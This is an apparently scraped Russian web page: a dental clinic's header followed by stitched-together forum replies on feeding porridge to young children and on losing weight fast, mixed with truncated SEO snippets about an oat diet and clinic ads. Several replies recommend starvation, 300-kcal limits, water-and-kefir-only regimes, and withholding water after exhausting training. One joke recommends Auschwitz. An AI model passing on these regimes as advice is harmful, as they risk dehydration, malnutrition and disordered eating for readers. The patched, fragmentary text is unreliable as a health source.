Кафедра челюстно лицевой хирургии и стоматологии СамГМУ

ОАО "Поволжский Специализированный Реабилитационный Стоматологический Центр"
Терапия Ортопедия Пародонтология Хирургия Ортодонтия Имплантология Эстетическая хирургия ЧЛХ
  ?>
О компании
Услуги
Прайс
Наши разработки
Наш коллектив
Бесплатная
   консультация

Мамы 3ех - 5 годовалых детей?

А я вообще кашей не кормлю. У нас аллергия на молоко, а безмолочная каша не вкусная.

Иногда утром, очень редко вечером. А порой и вообще без каши. Хоть умом понимаю, что надо чаще, но не получается- другую то еду тоже надо есть, а он не резиновый! Моему пять лет.

Утром. И то, не каждый день

Утром обязательно даю кашу (моему почти 6 лет). А вечер если только сам захочет, то даю.

Мой ребенок не ест каши дома....хватает садика...у каджого свое меню...

Дочке 3г. 4м. Кашей кормлю только утром. Ест с удовольствием.

Только утром,

Как варить что нибудь существенное лень так и кормлю ...а лень мне часто бывает

Да когда как. Моей 5, но мы на диете из-за загибов желчного пузыря, так что стараюсь, чтобы все в рамках диеты и не сухомятка. Каши удобны тем, что быстро варятся. И в случае, если пупсешке явно нельзя того, чем все остальные питаются.

Моё мнение, что вечером каша всё же тяжеловатая пища, особенно для ребёнка, за исключением геркулеса на воде, поэтому только утром.
Бывает, что 2 раза утром ребёнок ест кашу. Просыпается, просит есть, ест кашу, приходим в сад и там каша:)))...
Ест с удовольствием.

Кормила и утром и днем и вечером.... она просто ничего другого в рот не брала, и сейчас скоро 5 лет, а я всё думаю когда же они ей надоедят???

А мой редко по утрам кашу ест, очень редко, если не хочет я его не заставляю

Нашему 5 лет,кашу даю сейчас редко.Может поесть гречневую с молоком.А ТАК ЕСТ КАРТОФЕЛЬНОЕ ПЮРЕ БОЛЬШЕ.Раньше геркулесовую часто ел,но с добавлением только немного молока.Я ЗА КАШИ ВООБЩЕ-ТО,для желудка полезно,но не всегда ребёнка теперь уговоришь.

Только утром и то в саду!! ! Вечером обычный полноценный ужин картоха с курекой или еще что то !

Моему сыну 3 годика, но кашу он не есть вообще! Просто ужас для меня! Незнаю чем кормить по утрам!!!

Нам 4,9. кашу едим только утром. ест она ее не всегда с охотой поэтому чередую с хлопьями нестле и молоко. они разные бывают звездочки с медом,шоколадные шарики и кукурузные.очень вкусно.ребенок ест с удовольствием.

Каждое утро даю разную кашку, она полезнее и сытнее до обеда (15.00)Ребёнку уже 7 лет.

Утром обязательно.А вечером,смотря как и сколько он поел в обед и полдник.Если в обед поел плоховато,то вечером даю кашу тоже.

Моему сынуле уже почти 9 лет, с аппетитом проблемы, а вот кашу трескает всегда везде и любую, т. ч. каша-это моё спасение.

С двух лет до недавнего времени вообще кашу не ел... но у нас проблема была с этим из-за того что в больницу в два года попали... до больницы каши ел, а как там попробовал ЭТО, так на год у него слово каша вызывало ужасное отвращение и никак не могла его уговорить ее есть - ни украшениями, ни хитростью.. сейчас слава богу стал есть хоть растворимые детские, которые с фруктами (нам три годика сейчас). Вообще на завтрак, но иногда может и на полдник поесть. А на ужин очень часто в качестве гарнира рис или гречка рассыпчатые... гречку вообще если сварю, то он будет есть ее весь день, пока не закончится и может потом еще попросить сварить. Не сопротивляюсь - полезно все-таки. Пускай кушает, если нравится.

Каждое утро стараюсь кормить кашкой, особенно овсянной полезно для желудка, хотя не всегда получается потому что ребенок не хочет, а на ужин уже забыли есть кашу. Можно что то другое, творожок например, нельзя на ночь ребенка сильно тяжолым кормить А если ребенок не хочет не заставляйте его сильно, лучше спросите что он сам хочет съесть.

Как до 1 июня скинуть 6-7 киллограмм

Во первых - ограничить потребление пищи.

Во вторых - заниматься спортом - бегать, плавать, фитнес.

В третих - проникнуться уверенностью в собственных силах и ни в коем случае не сдаваться.:)

И еще - НЕ НАДО СЛУШАТЬ тех, кто предлагает просто не жрать или пить тайские таблетки - это ОЧЕНЬ вредно для организма.

Нельзя голодать - нужно уменьшать количество пищи. На небольшое количество калорий - не более 300.

Меню.Здравствуйте, уважаемые читатели. Чем полезна овсяная каша это вопрос для меня является животрепещущим.

Фитнесс, пробежки, не кушать после 18-ти.

В лагере и похудеешь..

Сходить в туалет...

Не есть после 5 вечера

Бассейн, не есть после 18.00 и соблюдай сейчас пост, скинешь без проблем

Преимущества овсяной диеты. Овсяные хлопья, прежде всего, являются ценнейшим источником клетчатки, котораяМеню этих дней будет таким же, как и при соблюдении диеты.

Мне помогло средство. За 5 дней 6 кило! Я заболел и не мог ВООБЩЕ глотать даже жидкость (хронический танзелит) и ниче не ел 5 дней итог - 6 кило как ветром! ВЫВОД: НЕ ЖРАААААААААТЬ!!!!

Спорт тебе поможет

Поставить "золотую иглу" в ухо....у нас на работе все худеют от этого не только на 7 кг а на все 10-12 !!

Не есть сладкое и мучное, делать зарядку.

ТОЛЬКО не за КОМПОМ - на улицу и в начале ГАЛОПОМ потом РЫСЬЮ потом обычным ШАГОМ, и так каждый день....

Овсяная диета советы, меню, отзывы и другая полезная информация о диете - До 1 недели - До 4 кг в неделю - Овсяная диета для похудения - Леди Mail.Ru.

1. Заниамться спортом более усиленно
2. Есть 3 раза в день и после 18.00 не кушать

Садись на кремлёвскую + спорт , только постоянно взвешивайся , не довода себя до истощения ...

Лопай свекольный салат 3 раза в деньс черносливом, листья салата, пей кефир 0% и пей много чая без сахара.

Мне помогает боди флекс, эта гимнастика занимает 15 минут в день

Легко, очень легко, каждое утро пробежка, 2 км, вечером 1,5 км, и меньше есть, больше пить воды простой, ты за месяц скинешь 14 км минимум
перед соревнованиями мы так часто делаем)

Еленка Девченки привет.Завтра сажусь на овсяную диету!Рост 167.Вес 64.Хочу похудет на 10 кг.Всем удачи!Через каждые три дня дополнительно к меню можно съедать до 300 г овощей.

Исключить из своего рациона сладкое,установить режим питания...начинать день с каши..желательно овсянной...и питаться чаще но понемного...исключить картошку...виноград,бананы,апельсины,мандарины...можно есть макароны твёрдых сортов группы А,мясо желательно варёное или приготовленное на пару...я так 10 кг за месяц сбросила...и тебе того желаю удачи!

Не есть сильнокалорийную пищу.
Заниматься спортом - если лень итд.. . То ходите регулярно в бассейн.

У тебя уйма времени....и значит, если будешь соблюдать рекомендации-то у тебя все получится и еще лучше....исключи из рациона мучное, сладкое, жирное, острое и очень соленое....не ешь после 18.00, не пей много жидкости, только чашка горячей воды на тощак с утра.И ты себя не узнаешь уже через две недели:)Удачи!

Ешь меньше.

Pit' kak mojno bol'she vodi,kushat' s utra ovsyanku,dobaviv kapel'ku yablochnogo uksusa!
zaydi na www.woman.ru , mojet naydesh' chego tam poleznogo!

В основе овсяной диеты, как можно понять из названия, лежит каша наша родная овсянка, скорая помощь организма.

Самый оптимальный вариант - это путевка в Освенцим. Но можно обойтись и физическими упражнениями. Катание на велосипеде неплохо помогает сгонять вес. Мой друг за лето так с 103, до 85 сбавил. Правда он вообще с него не слезал. Зато где только не ездил! Я думаю, что для тех кто не дружит с игровыми видами спорта, и не любит всякий другой физ труд - спортивный велосипед самое то!

Davaj hudet vmeste? =)

20 советов желающим похудеть
1. Жуйте тщательно
Постарайтесь пережевывать каждый кусочек пищи не менее 25 раз, прежде чем отправить его в желудок. Два положительных сопутствующих эффекта не заставят себя ждать: во-первых, хорошо пережеванная пища усваивается легче; во-вторых, происходит массаж десен, что предупреждает пародонтоз
2. Два яйца всмятку
Собираясь в гости или на банкет, где предвидится обильный ужин, дома съешьте два сваренных всмятку яйца. Это обеспечит чувство сытости, и вам легче будет устоять перед искушениями.
3. Творог вместо десерта
Вы никак не можете отказаться от десерта? Знайте, что это очень опасно для вашей фигуры. Так что замените в своем меню сладкие компоты, пироги на диетический творог.
4. Разгрузочные дни
Худеть вы станете автоматически, если почаще будете устраивать себе разгрузочные дни: чайный, творожный, картофельный. Это не покажется вам скучным, если приготовить блюда, дав волю своей фантазии.
5. Сковорода
Вы любите жареное? Тогда используйте специальную тефлоновую сковороду. Для приготовления пищи требуется меньше жира.
6. Сырые овощи
Ежедневно съедайте хотя бы одно блюдо, приготовленное исключительно из сырых овощей (морковки, капусты, огурцов) . Они малокалорийны и богаты витаминами.
7. Прозрачные ломтики
Режьте хлеб, колбасу и сыр тоненькими, прозрачными ломтиками. Попробуйте зрительно обмануть свой желудок.
8. Рисовый день
Рис содержит мало натрия (связывающего жидкость в организме) , но много калия (изгоняющего ее) . Если хотя бы раз в неделю вы устроите себе рисовый день (добавить можно только минеральную нейтральную или щелочную воду, но не масло!) , то потеряете до 1 кг массы тела - жидкости и конечных продуктов обмена веществ.
9. Маленькие тарелки
Подавайте блюда в тарелках небольшого размера. Так вы съедите меньше.
10. В магазин только после завтрака
Никогда не отправляйтесь в магазин на пустой желудок. Иначе вы купите продуктов на треть больше, чем необходимо.
11. Сладости в качестве поощрения
Пока в вашем доме есть сладости, вам не сбросить ни одного килограмма. Спрячьте все, что может способствовать увеличению веса. Придумайте своеобразный ритуал: прежде чем отправлять в рот очередную карамельку, выполните какую-нибудь малоприятную для вас работу.
12. Стакан воды
За 10 минут до каждого приема пищи желательно выпить стакан столовой минеральной воды. Желудок наполняется, голод ощущается меньше. К тому же вы получаете минеральные вещества, ускоряющие пищеварение.
13. Жвачка утолит голод
Имейте при себе жевательную резинку, в которую не добавлен сахар. Она поможет притупить чувство голода.
14. Рыбный день
Устраивайте раз в неделю рыбный день. Потребности организма в витамине D будут покрыты на целую неделю. Рыба, за исключением некоторых видов, содержит мало жиров и хорошо насыщает. Морская рыба к тому же снижает уровень холестерина в крови.
15. Сухофрукты
Сухофрукты всегда должны быть в вашем доме, например, чернослив, сушеные яблоки. Между приемами пищи, если почувствуете сильный голод, можно съесть 3-4 чернослива или столько же ломтиков яблок.
16. Натуральный сок
Целый день - сок и ничего съестного. Так вы сбросите 500 г лишнего веса. В этот день: 3/4 литра сока, сколько угодно столовой минеральной воды и чая из трав. Но не устраивайте более одного такого дня в неделю.
17. Спелые яблоки
Яблоки - идеальная пища. Они успокаивают нервы, наполняют желудок, улучшают пищеварение. Одного яблока перед едой вполне достаточно.
18. Ешьте чаще, но меньше
Ешьте не менее 5 раз в день.
19. Ограничьте соль
Соль задерживает воду в организме. Вместо нее постарайтесь использовать пряности. Кроме того, соль и так уже содержится во всех продуктах.
20. Можно и выпить
Вы можете позволить себе 1/4 л вина пару раз в неделю. Но только выбирайте сухие вина с меньшим содержанием сахара.

Физ.нагрузка
сауна
здоровое питание
массаж
почитай книгу карра аллена ЛЕГКИЙ СПОСОБ СБРОСИТЬ ВЕС!многим помогла!
могу прислать,если надо пиши

Можно ли так похудеть???

Да если жить так всегда но скучно

Меню овсяной диеты. Ваш завтрак, обед и ужин будет состоять с овсяной каши. Ешьте столько, пока не утомите чувство голода.

Угу

Так мода на "худеньких" проходит!!!!

Да, конечно можно похудеть)
Так держать)
Лично у меня бы не хватило терпения.
и еще главное после диеты не набрать вес.

Тебя через неделю тошнить будет от риса овсянки и котлет. и скачи со своим обручем хоть до утра.

Фруктово-овсяная диета. Эта диета порадует всех любителей сладкого. В меню овсяной диеты можно включить свежие и сушеные фрукты.

Похудеть конечно можно... но самое лучшее (по крайней мере лично для меня) это изредка устраивать себе разгрузочные дни) ) и все ОК)

Можно. Но, на другую неделю придумайте другое меню. Однообразия, организм не терпит.

Конечно можно) в этой пище в основном белок и витамины так что удачи вам)
но лучше еще прибавить туда занятия на пресс) и можно немного приседаний чтобы попу укрепить и ягодицы просто будет быстре)

Похудеть-то можно, но НУЖНО ли? Вот в чём вопрос. Для чего или для кого такие муки? Лучше заняяться физическими упражнениями или сходить в тренажерный зал (они сейчас даже в небольших городах есть) , а можно и в плавательный бассейн. Главно чтобы мышцы были крепкие, а для этого не нужно худеть. Да мода на девочек-подростков проходит..

Мне кажется рис надо заменить чем нибудь овощным

Меню овсяной диеты. Рекомендаций относительно режима овсяной диеты довольно много. И вот один из самых популярных рационов.

Если ты так питаешся уже месяц... то разве сама не замечаешь что худеешь или нет????

Рацион разнообразь, а то заработаешь авитаминоз...

Нельзя так похудеть.

Диета

Яблочно-кефирная диета. В течение трех дней. Утром кефир и яблоко. Днем 1-2 яблока. Вечером кефир сколько захотите.

Овсяную диету принято относить к так называемым монодиетам. Это значит что на протяжении всей диеты вы будете есть только овсянку.

Разум подсказывает, что разультат будет уже через три дня, если вес в рамках нормы или ниже. А в рационе, как не удивительно (О_О) только овсянка или ТОЛЬКО гречка.

Настя, я на гречневой сидела! Отличный результат!! ! за 10 дней 4 кг! ! :))) (я 10 дней на ней сидела)
Советую!
Всю неделю нужно питаться только специально приготовленной гречневой кашей.
Как приготовить гречку?
Берем гречку из расчета как при обычной варке и заливаем крутым кипятком, но не варим ее, а просто ставим настаиваться на ночь.
Гречку можно есть с 1% кефиром, но не больше 1 литра в день. (я ела с чуть - чуть (1 чайн ложечка - кетчупа) :)))
Диета рассчитана на 1 неделю, потом следует сделать перерыв хотя бы на месяц.
Удачи!

Казалось бы – обыкновенная гречка выступает в роли основного компонента диеты, обещающей похудеть за неделю до 4-10 кг! Сомнительно? Скажем, раздельное питание, или, допустим, фруктовая диета – здесь нужно тщательно подбирать продукты, следить за качеством купленных фруктов, длительное время, а то и всю жизнь поддерживать соблюдение строго определенного меню таких диет. Ведь это масса хлопот, на которые часто просто нет времени! Хорошо еще, если вы можете позволить себе очищение организма с целью быстро похудеть, используя старые методы (по Малахову, например) – но это опять же очень долго и утомительно. Гречневая же диета предельно проста в исполнении, а сроки её соблюдения - ну просто фантастические: от одной до двух недель!
Многим хороша гречка: и много микроэлементов в ней, таких как железо, калий, кальций, магний; и содержит большое количество рутина (вещества, уплотняющего стенки кровеносных сосудов, останавливающего кровотечения и оказывающего профилактическое и лечебное воздействие на вены) , и готовить её предельно просто, и доступна любому бюджету.
Но! Есть, как говорится, ложка дегтя в этой сладкой бочке меда, даже несколько ложек.
Первое - это то, что гречневая диета подразумевает большое потребление воды (не меньше, чем вы пьёте обычно) . И как известно, с выводом из организма воды из него также выводятся полезные вещества - микроэлементы и т. п. А следуя этой диете ввиду скудности рациона вы не будете получать достаточного количества этих полезных веществ, не будет проходить их полное восполнение в организме. Если так будет продолжаться даже недлительно по времени - это, скорее всего, небезопасно для организма.. .
Второе - гречневая диета обычно переносится достаточно легко, поскольку за день можно съесть любое количество гречки. Но больше-то ничего есть нельзя, а любое жесткое ограничение лишает организм многих жизненно необходимых веществ (о веществах, выводимых из организма с жидкостью, мы уже говорили абзацем выше) , что может негативно отразиться на здоровье.
Третье – параллельно с употреблением специально приготовленной гречки разрешается пить только однопроцентный кефир до одного литра (воду, конечно, тоже) – а это рискованно для людей с изменением кислотности желудка. Как поведет себя такой организм при кефирно-гречневой диете – неизвестно.
Четвертое - если сидение на одной гречке дается вам с большим трудом, можете сделать небольшое послабление - немного несладких фруктов, например, 1-2 кислых яблока в день или 1-2 маложирных йогурта.
Пятое - последний прием пищи должен быть не менее чем за 4 часа до сна (а еще лучше за 6 часов) . Правда, если вы привыкли наедаться на ночь, то выдержать такой промежуток времени будет трудно. Здесь можно посоветовать за полчаса-час до сна выпивать стакан или полстакана кефира. Это снимет острое чувство голода и не помешает правильному течению диеты.
Еще одно условие гречневой диеты: через месяц её можно повторить. Однако помните, что в таком случае результат будет не настолько очевидным. Зато стабильность гарантирована: килограммы, сброшенные в результате гречневой диеты, долго еще не вернутся.
Итак, если вы решили, что сможете в течение недели "сидеть" на гречке и кефире, и гречневая диета вам подходит, можете приступать к ее выполнению. Для достижения максимального эффекта от гречневой диеты нужно использовать необработанную крупу (цельную, не дробленую) . Кроме того, чтобы гречка сохранила все свои полезные свойства, ее нужно правильно приготовить. Варить крупу не надо (при таком способе приготовления в гречке сохранится максимальное количество полезных микроэлементов) . Залить крутым кипятком гречневую крупу и дать настояться в течение 12 часов. После этого гречка готова к употреблению. Никаких специй, соли и сахара. Если хотите - заливайте или запивайте полученную гречневую кашу 1% кефиром. Приятного аппетита!
И последнее. Из существующих сегодня различных модных диет самая эффективная диета, если говорить о сроках её применения, – это гре

Я посмотрела ваши фото в вашем мире. Девушка, вы очень прекрасны и очень хорошо выглядите. Зачем вам худеть? Ведь у вас абсолютно ничего лишнего нету.. . Не мучайте себя и организм. Вы прекрасны, осталось только вам это понять и полюбить себя! Удачи вам!

Я помню мне дали как то 15 суток ареста, и я похудел на 15кг) меня кормили два раза в день овсянной кашей) так что иди разбей соседу в машине лобовое стекло, и сразу похудеешь))))

Приблизительное меню овсяной диеты. Меню овсяной диеты всем своим видом говорит о том, что оно не заставляет голодать

Я гречку сама ем (всмысле без намека на диету, я просто ооочень люблю гречку)) каждый день) и похудела кг на 15)))и потом вес не возвращается (если не начать разумеется жракать все подряд и побольше)))

Не могу скинуть 5 кг . :( жру на работе всякую херню. Что скажите по поводу белковой диеты?

Сыр твёрдый и плавленный - точно раскоровеете, как и орехи
проверено
мясо, и то, если первая группа крови
тогда уж яйца, рыбу, мясо и гречку + морковь и буряк
или борща наварите и супа и им питайтесь

Меню.Здравствуйте, уважаемые читатели. Чем полезна овсяная каша это вопрос для меня является животрепещущим.

Это не диета - только хуже для здоровья будет. Обратитесь к диетологу.


Кушай маленькими порциями, раз по 5-6 в день. Вареное, тушеное. Утром - медленные углеводы (каши) . Потом овощи, фрукты, мясо/рыба/птица (рыба лучше мяса - усваивается легче) . Молочку обезжиренную. Никаких булочек и конфет, газировок и т. п. . Бобовые пару раз в неделю. Белковая диета - хороша. Лично я 8 кг сбросила.
Как перекус - морковь, яблочко, кефирчик.
Орехи и семечки можно/нужно кушать. В меру и не часто, но кушать

Эта белковая диета прямая дорога на тот свет! Вполне серьезно, на личном опыте проверено! на третий день еле встала с кровати, в глазах темно, тело трясется как извените с похмелухи))) я кое как поднялась дошла до кухни выпить воды! Одно скажу без углеводов существовать не возможно, даже на диетах!

Исключите из рациона херню.

И вариантов диеты на овсяной каше существует тоже немало. Мы приводим самые популярные и наиболее эффективные вариации овсяной диеты. Это обилие вариантов примерного меню...

Согласна с отшельником

Знаю по опыту своей подруги, что и на белковой диете похудеть можно. Она похудела на 30 кг за полгода. При этом "заработала" ряд серьезных заболеваний, в том числе жуткая проблема с щитовидкой. По настоянию врачей изменила меню и за 2 месяца набрала назад 40 кг!

Так, внимание! Продолжительность диеты Кима Протасова пять недель. В первый день, во второй, в третий и так всю неделю вы едите ТОЛЬКО сырые овощи, а также сыры и йогурты 5%-ной жирности. Позволено одно вареное яйцо в день. Количество ЛЮБОЕ! Время дня ЛЮБОЕ! Смысл этой прогрессивной диеты в том, чтобы съесть как можно больше овощей и 5%-ных молочных продуктов. Чай, кофе можно в любом количестве ( только без сахара ), а воду в обязательном порядке 2 л в день. Вам стало чуть грустно? Так и быть, лично от себя разрешаем вам еще 3 зеленых яблока. Что? Не стоит благодарности, на здоровье. Причем овощи вы вольны употреблять в любом виде. Хотите – грызите огурцы, посыпая их болгарской брынзой ( 5%-ной ), хотите – макайте помидоры и болгарские перцы в йогурт, а хотите – приготовьте огромную порцию салата из всевозможных овощей, порежьте туда вареное яйцо и посыпьте все сыром.
И только посмейте пожаловаться, что вы голодны! Спокойно ешьте утром, днем, вечером, ночью – целую неделю. И точно так же – вторую неделю.
Удивительно, но со второй недели у вас пропадает охота есть что-либо, кроме овощей, сыра и подаренных нами яблок. Многие даже отказываются от вареного яйца, которое с жадностью поедали в начале диеты. К концу второй недели вы почувствуете необычайную легкость во всем теле и в … мыслях. Не отягощенный жиром, мясом и сладостями организм потребует живости поступков, чтобы не удариться в адюльтер. С начала третьей недели вы обязаны присовокупить к овощам и сырам кусочек ( 300 г ) жареного мяса, птицы или рыбы. Пожалуйста, немного сократите сыры и йогурты. Овощи, сыры, мясо, яйцо и яблоки вы едите еще три недели. И все! Через три недели после начала диеты вы начнете просто таять на глазах у изумленных коллег и домочадцев. Две последние недели происходит самое интенсивное сбрасывание веса.
Приготовьтесь к тому, что, когда диета будет завершена, вы, госпожа, похожая на гибкую лань, не сумеете с жадностью наброситься на всевозможные яства. Вам придется приложить немало усилий, чтобы заставить себя съесть хлеб с маслом, жареную картошку или пельмени.
Всем, даже тем, у кого нет лишнего веса, мы советуем раз в год, посредством такой необременительной и нетяжелой диеты очищать свой организм.

Я вот второй день питаюсь в основном молочкой с утра весила 56.6 уже к вечеру 55.9 с утра поела рыбный суп на овощах, днем купила 2 биомакса 1% один на день другой на вечер по 450 гр. В обед пол пакетика овсянной кашки, вечером покушала творог с кефиром вперемешку с вареньем) )
Сеня на завтрак кушала рыбку и творог, обед овсянка пол пакета и яичко вареное. на ужин кефир планирую, тоже хочу 5 кг скинуть. Главное на работе не расслабляйтесь и запасайтесь полезными продуктами и ешьте чаще, но маленькими порциями
худею с 62

Вот не знаю как, но я на белковой диете умудрилась поправиться на 2 кг за 10 дней. видимо не хватает всё-таки организму углеводов для нормального обмена веществ
а после тренажерки вообще не надо взвешиваться до след вечера, вес всегда больше, почему-то

На протяжении овсяной диеты необходимо пить как можно больше жидкости, например, чай без сахара или воду.Куриная диета меню и отзывы. Это интересно

Кто реально похудел за короткое время и самое главное- КАК?

Реалько скинуда 10 кг за 4 месяца. Просто первый месяц ела одни яблоки (по будням) и немного мясного по выходным, через месяц стала добавлять в рацион апельсины, еще через месяц стала есть немного нормальной еды, а потом меня бросил мой парень и я перестала жрать ВООБЩЕ!

Овсяная диета состоит из двух этапов подготовительный и этап похудения.Меню овсяной диеты. Подготовительный этап.

Мне удалось на 5 кило похудеть за 2 месяца! на самом деле я просто на работу устроилась,!

Что бы пахудеть за короткий срок разведись я похудел на 23 кг за 2 мес (

Состояние легкой влюбленности и -5 кг. за 2 недели.
Но к огромному огорчению вернулось 7 когда состояние влюбленности прошло...
Так что похудеть за короткое время реально и на 20 кг., но это абсолютно не эффективно....

РЕАЛЬНО НИЧЕГО НЕ УПОТРЕБЛЯТЬ: соль, сахар, жир, спиртное. Не есть (толькоможно пить воду) с 18-00 до 7-00. Кстати большой секрет - чтобы не умирать с голоду - приучи все семейство не есть в комнатах и ложиться спать в 21-00.
Пить только минеральную воду без газов и кефир. Есть только овощной суп в течении 2-3 недель и потом щё пол года НИЧЕГО НЕ УПОТРЕБЛЯТЬ: соль, сахар, жир, спиртное-иначе все станет на свои места , а организм после диеты- такого стресса, начнет запасаться жирком, дабы мы опять чтонибудь не удумили.
Рецепт супа: помидор свежий, морковь, сельдерей крупный корень, 4 луковицы, 1 кубик грибного бульона, капуста белокачанная, перец свежий. Все порезать (кубиками, соломкой) и сварить, уверенна после пары раз наловчмшься чего больше чего меньше добавить по вкусу. Суп можно есть ведрами но без хлеба и соли. И до 18 00.
Да забыла сказать никакого масла-зажарки!

Voda i kefir v techenii 10dney.5kg

Меню овсяной диеты может быть весьма разнообразно. Применяются рационы диетического питания от жесткого ограничения исключительно овсяной кашей до более мягких форм...

Вот меня, в отличии от предыдущих ораторов, ни развод ни любовь от аппетита не отвращают. Сижу на "кремлевке". Реально помогает. Только садиться надо а первые дни месячных. Эффект наступает с первого дня. Во второй половине цикла идет уже труднее, но главное не сдаваться. Информации по кремлевской диете масса и в прессе и инете.

Диета + спорт...
диета- это не значит ничего не есть... ели ты не ешь то организм наоборот начинает делать запасы, т.е ты набираешь вес. надо правильно питаться 3 раза в день каждый раз оставаясь немного голодной.
спорт- жировые клетки состоят на 80% из воды... т.е когда ты потеешь ты теряешь вес... так что ежедневные изматывающие тренировки и после них в течении часа ничего не пить и не есть!!! Метод мужской, не знаю как справится женский организм…боксеры за неделю скидывают по 5 кг.

Если не жалко здоровья могу посоветовать жестокую диету можно есть в день только одну тарелку овсянной или манной каши, выпивать одну бутылочку питьевого йогурта 0,33 желательно не жирного и пить воду в течении дня , можно кофе но не больше 3 чашек, не в коем случае не чай. Есть ещё хорошая пищевая добавка называется гарцыния форте принемаешь 3 таблетки во время еды и просто быстрее насыщаешься. От них улучшается обмен веществ так как они на травах,а у меня от них даже ногти стали лучше расти и перестали ломаться!

Спорт милая,спорт

Я еще пока не худела, да и не хочу, меня моя комплекция (далеко не тощая, а очень даже упитанная) вполне устраивает.. . Рекомендую прочесть книгу Алена Карра "Лёгкий способ похудеть".. он на пальцах объясняет что надо есть и почему. . а что не есть.. . При этом он действительно не запрещает сытно есть. почитай %)) поможет )
у него же книга есть "легкий способ броситькурить"... у меня муж по ней бросил.. . и еще миллионы людей (без приувеличения) .
http://lib.aldebaran.ru/author/karr_allen/
скачай :))

Овсяная диета понравится любительницам экономить на еде.Меню овсяной диеты. Существует несколько вариантов диеты

Я описал свой опыт в своей электронной книге http://humaniter.narod.ru/e-book.html

Я похудела .. на сколько не знаю. . я боялась вставать на весы. Все вещи висели. Но не специально. Когда весишь немного 2-3 кг уже видно сразу.
Я заболела. Болели зубки. Я пили безумно сладкий чай, молоко через трубочку и спала и училась и работала. КАк же я хотела МЯСА! на 4ий день. МЯСА и ХЛЕБУШКА. Но нельзя. больно. 3 недели молочных продуктов, 2 из них через трубочку потом пошли творожек и сырочки, бананы. . я пробовала каждый вид йогурта! (Теперь я очень редко их ем) . В результате я была на мой взгляд, моего мужа, мамы и лучшей подруги похожа на пугало. Прошёл год. Я вешу 52 поправилась. стала похожа на человека.
Так что. Просто - пусть в твоём холодильнике мыши повесятся на каждой полке и кроме пакета йогурта и молока недолжно быть ничего. 1 неделя тебе хватит.

Бессолевая диета на пресной гречке и кефире. держать можно не больше 2-х недель с минимальным перерывом в 1 месяц, так как диета безвитаминная.
Гречку заливаем кипятком на ночь. Никакой соли и специй. Гречки можно есть сколько угодно. Кефира не больше и не меньше чем 1 литр в день. Сахар нельзя употреблять только в виде заменителя. Чай кофе все можно, главное без сахара.

Можно делать перерыв на 1-2 дня через неделю, потом ещё неделю и все. Продолжать диету можно минимум через месяц!!!

Не надо худеть!!! нив чем себе не отказывай! полюби мебя такой, какая ты есть.. . и пусть тебя любят такой же... хорошего человека должно быть много!

Лучшее - это обратиться к специалистам "Славянской клиники", которая специализируется на лечении ожирения и коррекции фигуры. Там не нужно голодать, а можно есть до 2 кг. еды в день, нет «овощных» , «кефирных» , «фруктовых» и прочих разгрузочных дней.
Главный офис находится в Воронеже, но есть еще 6 филиалов.
Можно обратиться за консультацией по тел. 8(4732) 53-01-11, e-mail: slavklin@slavklin.ru

Овсяная диета - подробное описание и полезные советы. Отзывы об овсяной диете и примеры рецептов. 05.09.2012 00 12.

Вообще не вопрос. Никаких диет! Никакого издевательства над организмом! Ем ВСЕ! Время от времени мягкая и комфортная очистка организма травяным сбором(его история насчитывает 300 лет). Плюс, приведение в порядок всех систем организма, посредством пищевых добавок(ДА! ДА! Живем - то в 21 веке), включающих в себя все, требуемые организмом аминокислоты, минералы и т.п. Результат - стабильный вес. Побочные эффекты: мне 48 лет, чувствую( и не только) - на 20. Интересно? Отвечу всем, ка я этого добился и куда обращаться. escanderb@list.ru</</>> </</>>

Я похудел на 15кг. ПОТОМУ что пошел в АРМИЮ!!!!КРАСИВЫЕ ДЕВЧЕНКИ АЙДА ЗА МНОЙ!!!!

Ел все, что можно, при этом у меня было много секса и спорт. Таки сбросил 8 кг за три месяца, при относительно неподвижном образе жизни. Было тяжело, так как не высыпался. Забросил спорт - набрал в весе. И вообще меняй образ жизни, чтобы похудеть надолго. Из быстрых способов знаю лишь два: баня, полное отсутствие еды и реально большое количество физической активности. Тут есть и проблема: как я слышал, женщинам труднее сбросить вес, поэтому учитывай, что то, что пройдет для мужика-боксера (как в одном из постов выше, вовсе не обязательно будет так же эффективно для тебя.

Расстаться с мужем, плакать каждую ночь в подушку, а днем кушать геркулес на воде с утра до вечера. За четыре месяца похудеете на 20 кг.
http://otvet.mail.ru

Мне помогает бег по утрам. Бассейн - еще лучше.. Меньше сладкого... Больше двигайтесь... На холодильник -- замок...

Меню овсяной диеты Огромный плюс данного рациона питания в том, что каких-либо ограничений на употребление пищи нет, главное есть лишь овсяные продукты.

Народ хорош издеваться 10 кило за 4 месяца,я за месяц скинул 10 кило.Всё просто каждый день проктически голодовка есть только фрукты,овоши конечно не обьедаться!А самое главное спорт и не просто отжался или зарядка каждый день а бег.
Лично я вообще практически не ел только пил и по пять часов играл в баскетбол,и ещё вечером гулял с друзьями проходя примерно по 10 км за 3 часа.
Вот а самое главное не откладывать на завтра-типо с завтрешнего дня худею,если решил худеть то начинай сразу как только решил
иначе завтра не наступит никогда!

Лично похудел на 10 кг за мес!!! Талия уменшилась на 2 размера!!!
Рецепт прост - берем 70 кроликов и начинаем косить им травку, косим естессено ручной косой, ходим за травой - километра за 2-3 от кроликов. Травы этим паразитам надо много. В общем за лето похудел неимоверно, несмотря на то что ел как медведь перед спячкой.

Я сидела не диете Софии Ротару. Похудела на 7 кг за 9 дней. Причем совершенно не напрягаясь.
3 дня пустой рис без соли, сахара и т.п,
3 дня овощи в любом виде, тоже без соли, сахара, масла и т.д.
3 дня фрукты в любом виде.
Пить только воду, за то есть можно в любом колличестве (правда много не съешь) Чувства голода нет вобще, а худеешь махом.
Причем я на ней сидела 1,5 месяца назад, кушать после диеты стала намного меньше, просто не хочется.
Я тепеперь, если что на неё буду садиться.</> </>

Мой рост 171см раньше я весила 49кг потом поправилась до 64кг т.к. рассталась с парнем...Мой внешний вид был шоком для меня и всех окружающих!Пришлось менять гарднроб,я смотрелась в зеркало со слезами..И однажды я решила что скоро молодость пройдет и я не добьюсь совершенства,рожу ребенка и еще больше потолстею...!Я не ела после 1500 НИЧЕГО около нидели,первые 4 дня было сложно и я представляла как я встану утром и почувствую легкость! Потом месяц после 1800, это было не сложно я привыкла,и когда я и окружающие заметили результат (52кг) это было счастьем для меня!! И сейчас прошло 2 года я ем когда хочу но мой желудок стал маленьким и много я не сьедаю и еще подсознательно я очень боюсь опять потолстеть!! Вперед найди свой способ или воспользуйся моим, но обязательно добейся желаемого результата!!!!

